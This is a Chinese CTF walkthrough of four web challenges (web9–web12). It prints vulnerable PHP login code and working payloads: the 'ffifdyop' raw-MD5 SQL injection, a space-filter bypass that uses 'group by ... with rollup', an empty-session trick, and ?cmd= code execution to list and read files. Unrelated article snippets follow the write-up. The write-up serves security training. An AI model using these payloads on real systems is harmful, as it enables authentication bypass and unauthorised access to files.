0X02

web9

阐释一波密码,依然没有什么 发现,要不扫一下,或者看一看可不可以去爆破密码

就先扫了看看,发现robots.txt

 访问看看,出现不允许被访问的目录

 还是继续尝试访问看看

就可以下载源码,看看源码

<?php
    $flag="";
    $password=$_POST['password'];
    if(strlen($password)>10){
        die("password error");
    }
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    $result=mysqli_query($con,$sql);
        if(mysqli_num_rows($result)>0){
                while($row=mysqli_fetch_assoc($result)){
                     echo "登陆成功<br>";
                     echo $flag;
                 }
        }
?>

 

 先看sql的语句

username ='admin' and password ='".md5($password,true)."'

在php中.起到了连接的作用,

MD5(string,raw)

参数描述
string必需;规定要计算的字符串。
raw可选;TRUE - 原始 - 16 字符二进制格式;FALSE - 默认 - 32 字符十六进制数

 也就是说,我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username ='admin' and password =‘ ’or 'xxxxx'的形式;逆过来,我们需要将' or 1=1按照加密规则加密,得到的就是我们最后要的东西,只要md5加密后的16进制转化为二进制时有 'or’xxxx

这里使用ffifdyop

ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中

密码ffifdyop登录


  web10

 依然是登录框

admin

1' or 1=1

 如果密码输入的是空格或者是逗号,也会出现以上的页面,也就是被过滤了

接着上一题的思路,我们首先要看到源码,扫了之后也没有什么发现

 但是细心观察一下,就可以看出这一题登录框里面多了一个取消的按钮

点了之后下载了源码




<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

 regex那条语句显示的就是过滤以下字符select|from|where|join|sleep|and|\s|union|,

if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }过滤了双写绕过

显然许多注入的方式都被限制了

下面这个是以前从没有接触过的

group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。

达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件

输入空的密码就可以得到null==null,

1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

 /**/因为之前测试过过滤了空格,运用它可以进行过滤

 web11

这题有点意外,源码直接显示在页面上

<?php
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    if($password==$_SESSION['password']){
        echo $flag;
    }else{
        echo "error";
    }
?>

 同样也是过滤了许多的东西select|from|where|join|sleep|and|\s|union|,

最后发现只要$password==$_SESSION['password']就可得到flag

session

是针对每个用户的,只有客户端才能访问,程序为该客户添加一个 session。session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。会将信息保存在服务器端

cookie

是针对每个网站的信息,每个网站只能对应一个,其他网站无法访问,这个文件保存在客户端,每次您拨打相应网站,浏览器都会查找该网站的 cookies,如果有,则会将该文件发送出去。cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。会将信息保存在客服端

发现删除所有的session,在上面的细心观察之后,发现,我们打开环境的时候,就发现密码框里面是有东西的,也就是显示出来的条目全部删除,然后以空密码登录即可得到flag

让session和密码为空,就可以达到条件

 web12

 看一下源码

 提示进行 get 传参 ?cmd=

进行一下测试

?cmd=phpinfo();

 有页面回显,就证明在cmd处可以进行构造语句进行命令执行

现在想着就是读取到文件,也可以说是源码

用 system() 函数的命令:system(‘ls’) 来读取存在的文件名,但是这个命令没有回显,应该是被限制了,那就换一个

使用 scandir() 函数来查看目录中的文件

?cmd=print_r(scandir(‘./’));

下面这个也是可以的

?cmd=print_r(glob(“*”));

 

glob("*")  匹配任意文件;
glob("*.txt")  匹配以 txt 为后缀的文件。

 发现是一个很长的php文件

 使用高亮函数
payload:/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

 show_source函数是highlight_file()函数的别名

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/118693.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据集划分:手动划分文件夹中的图片数据集为训练集、验证集和测试集

1.需求 手动划分文件夹中的图片数据集为训练集、验证集和测试集&#xff0c;即进行文件夹中的数据集&#xff08;都是图片&#xff09;进行划分。 2.步骤 使用文件处理库&#xff08;如os&#xff09;遍历读取文件夹中的图片文件。将读取到的图片文件路径存储到列表中。打乱…

后端工程化 | SpringBoot 知识点

文章目录 [SpringBoot] 后端工程化1 需求2 开发流程3 RequestController 类&#xff08;操作类&#xff09;3.1 简单参数&#xff08;形参名和请求参数名一致&#xff09;3.2 简单参数&#xff08;形参名和请求参数名不一致&#xff09;3.3 复杂实体参数3.4 数组参数3.5 集合参…

十大排序算法C++实现

分类 复杂度 排序稳定性定义&#xff1a; 假定在待排序的记录序列中&#xff0c;存在多个具有相同的关键字的记录&#xff0c;若经过排序&#xff0c;这些记录的相对次序保持不变&#xff0c;即在原序列中&#xff0c;A1A2&#xff0c;且A1在A2之前&#xff0c;而在排序后的序…

【电路笔记】-串联RLC电路分析

串联RLC电路分析 文章目录 串联RLC电路分析1、概述2、瞬态响应3、AC响应4、RCL和CLR配置5、结论 电阻器 、电感器 (L) 和电容器 © 是电子器件中的三个基本无源元件。 它们的属性和行为已在交流电阻、交流电感和交流电容文章中详细介绍。 在本文中&#xff0c;我们将重点讨…

2010年408计网

下列选项中, 不属于网络体系结构所描述的内容是&#xff08;C&#xff09;A. 网络的层次B. 每层使用的协议C. 协议的内部实现细节D. 每层必须完成的功能 本题考查网络体系结构的相关概念 再来看当今世界最大的互联网&#xff0c;也就是因特网。它所采用的TCP/IP 4层网络体系结…

Django初窥门径-项目初始化

环境准备 切换pypi源 运行下面的脚本将pypi源切换为阿里云镜像&#xff0c;避免安装python库的过程中出现网络问题 #!/bin/bash# 定义配置内容 config_content"[global] index-url http://mirrors.aliyun.com/pypi/simple/[install] trusted-hostmirrors.aliyun.com &…

机组 硬件

典型的冯诺伊曼计算机是以运算器为中心 现代的计算机已转化为以存储器为中心 运算器&#xff1a;完成算术运算和逻辑运算&#xff0c;并将运算的中间结果暂存在运算器内存储器&#xff1a;存放数据和程序控制器&#xff1a;控制、指挥程序和数据的输入、运行以及处理运算结果输…

react-app-env.d.ts是什么?

react-app-env.d.ts这个文件是使用CRA脚手架生成react项目时自动生成的&#xff0c;在平时的开发过程中看到这个文件就会感觉很疑惑&#xff0c;出于好奇心&#xff0c;在网上查找资料&#xff0c;得出下文 前置知识 这个是一个类型声明文件 它的内容很短&#xff0c;就一行…

成集云 | 电商平台、ERP、WMS集成 | 解决方案

电商平台ERPWMS 方案介绍 电商平台即是一个为企业或个人提供网上交易洽谈的平台。企业电子商务平台是建立在Internet网上进行商务活动的虚拟网络空间和保障商务顺利运营的管理环境&#xff1b;是协调、整合信息流、货物流、资金流有序、关联、高效流动的重要场所。企业、商家…

线性表(顺序表,单链表,双链表,循环链表,静态链表)

目录 1.线性表的定义1.几个重要的概念2.逻辑结构 2.线性表的基本操作3.顺序表&#xff08;线性表的顺序存储&#xff09;1.静态分配2.动态分配3.顺序表的特点4.顺序表的基本操作1.插入2.删除3.查找1.按位查找2.按值查找 4.链表&#xff08;线性表的链式存储&#xff09;1.单链表…

项目文章 | 总石油烃-重金属污染与土壤微生态系统:细菌多样性、组装和生态功能研究

大家好&#xff0c;这里是专注表观组学十余年&#xff0c;领跑多组许科研服务的易基因。 2023年9月30日&#xff0c;中南大学张杜博士为第一作者、李骞教授为通讯作者在《Chemosphere》杂志上发表题为“Effects of single and combined contamination of total petroleum hydr…

Single Image Haze Removal Using Dark Channel Prior(暗通道先验)

去雾算法都会依赖于很强的先验以及假设&#xff0c;并结合相应的物理模型&#xff0c;完成去雾过程。本文作者何凯明及其团队通过大量的无雾图像和有雾图像&#xff0c;归纳总结出无雾图像在其对应的暗通道图像上具有极低的强度值&#xff08;趋近于0&#xff09;&#xff0c;并…

HDD最后的冲刺:大容量硬盘的奋力一搏

1.引言 在上一篇文章&#xff08;微软Azure云数据中心工作负载分享&#xff1a;SSD与HDD&#xff0c;何去何从&#xff1f;&#xff09;中&#xff0c;我们提到在应对SSD QLC/PLC大容量的挑战中&#xff0c;HDD也是在不断的努力&#xff0c;推出HAMR&#xff0c;SMR等新介质。…

【验证码系列】Google验证码从数据训练到机器自动识别算法构建

文章目录 1. 写在前面2. CSCI级设计决策2.1. Google验证码突防关联2.2. Google验证码突防行为设计决策 3. Google验证码突防体系结构设计3.1. Google验证码突防部件3.1.2. Google验证码突防组成 3.2. Google验证码突防软件3.2.1. Google验证码突防软件体系结构3.2.2. Google验证…

信道编码译码及MATLAB仿真

文章目录 前言一、什么是信道编码&#xff1f;二、信道编码的基本逻辑—冗余数据1、奇偶检验码2、重复码 三、编码率四、4G 和 5G 的信道编码1、卷积码2、维特比译码&#xff08;Viterbi&#xff09;—— 概率译码3、LTE 的咬尾卷积码4、LTE 的 turbo 码 五、MATLAB 仿真1、plo…

Amazon Fargate使用Seekable OCI 实现更快的容器启动速度

前言 虽然在部署和扩展应用程序时&#xff0c;使用容器进行开发的方式已日趋流行&#xff0c;但仍有一些领域可以改进。扩展容器化应用程序的主要问题之一是启动时间长&#xff0c;尤其是在纵向扩展期间&#xff0c;需要添加较新的实例。此问题可能会对客户体验&#xff08;例如…

EfficientDet论文讲解

目录 EfficientDet 0、摘要 1、整体架构 1.1 BackBone&#xff1a;EfficientNet-B0 1.2 Neck&#xff1a;BiFPN特征加强提取网络 1.3 Head检测头 1.4 compound scaling 2、anchors先验框 3、loss组成 4、论文理解 5、参考资料 EfficientDet 影响网络的性能(或者说规…

Android Gldie复用只取之前decode过的缓存resource,Kotlin

Android Gldie复用只取之前decode过的缓存resource&#xff0c;Kotlin import android.graphics.Bitmap import android.os.Bundle import android.util.Log import android.widget.ImageView import androidx.appcompat.app.AppCompatActivity import androidx.lifecycle.life…

【Linux】服务器与磁盘补充知识,硬raid操作指南

服务器硬件 cpu 主板 内存 硬盘 网卡 电源 raid卡 风扇 远程管理卡 1.硬盘尺寸: 目前生产环境中主流的两种类型硬盘 3.5寸 和2.5寸硬盘 2.5寸硬盘可以通过使用硬盘托架后适用于3.5寸硬盘的服务器 但是3.5寸没法转换成2.5寸 2.如何在服务器上制作raid 华为服务器为例子做…

基于SpringBoot+Redis的前后端分离外卖项目-苍穹外卖(一)

熟悉项目环境 1. 苍穹外卖项目介绍1.1 项目介绍1.2 技术选型 2. 开发环境搭建2.1 前端环境2.2 后端环境搭建2.3 Git版本控制2.4 nginx反向代理和负载均衡 3.登录功能4. Swagger4.1 介绍4.2 使用步骤4.3 常用注解 1. 苍穹外卖项目介绍 1.1 项目介绍 苍穹外卖是专门为餐饮企业&…